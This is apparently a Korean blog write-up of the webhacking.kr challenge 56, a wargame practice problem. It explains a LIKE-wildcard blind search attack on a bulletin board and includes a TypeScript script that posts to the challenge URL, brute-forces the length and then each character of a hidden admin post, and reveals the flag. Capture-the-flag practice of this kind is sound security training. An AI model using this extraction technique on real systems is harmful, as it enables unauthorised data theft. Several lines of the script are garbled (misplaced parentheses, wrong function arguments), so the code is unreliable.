본문 바로가기

 

56번 문제에요.

배점은 250점, 분야는 DB에요.

 

BBS 가 있네요.

hi~ 를 눌러보면

 

 

hello~

그러면 readme 를 눌러보면?

 

 

access denied

가 뜨네요.

 

 

search 기능에 뭔가 있겠다 싶어서

hello~ 의 일부인

he

를 넣어보면?

 

 

1번글이 뜨네요.

 

search 기능에 LIKE 연산자를 썼다고 가정하고 LIKE 연산자의 와일드카드인 _ 를 hello~ 보다 긴 7개를 넣어보면?

 

1번글만 뜨네요.

그렇다면 와일드카드를 적당히 이용해서 문제를 풀면 되겠네요.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import * as request from "request";
const __URL: string = "https://webhacking.kr/challenge/web-33/index.php";
var opt: request.CoreOptions;
var le: number = 0;
var card: string = "";
var card2: string = "";
function floop(i: number): void
{
    var tmp: string = "";
    for(var i2: number = 0; i2 < i; i2++)
    {
        tmp += "_";
    }
    opt = 
    {
        form:  
        {
            search: tmp
        }
    };
    request.post(__URL, opt, function(e: any, res: request.Response, body: any): void
    {
        if(String(res.body).indexOf("admin"== -1)
        {
            console.log(i - 1);
            le = i - 1;
            for(var i2: number = 0; i2 <= le; i2++)
            {
                card += "_";
            }
            floop2(148);
        }
        else
        {
            floop(i + 1);
        }
    });
}
function floop2(i: number, i2: number): void
{
    var tmp:string = card2 + String.fromCharCode(i2) + card.substring(i+1);
    if(String.fromCharCode(i2) == "_" || String.fromCharCode(i2) == "\\") floop2(i, i2 + 1);
    else
    {
        opt = 
        {
            form:  
            {
                search: tmp
            }
        };
        
        request.post(__URL, opt, function(e: any, res: request.Response, body: any): void
        {
            if(String(res.body).indexOf("admin"!= -1)
            {
                console.log(tmp);
                card2 += String.fromCharCode(i2);
                if(i != le) floop2(i + 148);
            }
            else
            {
                if(i2 != 127)
                {
                    floop2(i, i2 + 1);
                }
                else
                {
                    card2 += "_";
                    if(i != le - 1) floop2(i + 148);
                }
            }
        });
    }
}
floop(0);
cs

_ 를 하나씩 추가해가면서 길이를 알아낸다음,

문자를 하나씩 대입해서 값을 찾아내는 스크립트를 만들고 돌리면?

 

 

FLAG{HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_SO?} 

:thinking:

 

 

암튼 저걸 Auth 에다가 넣으면?

 

빠밤!

 

문제가 풀렸네요.

댓글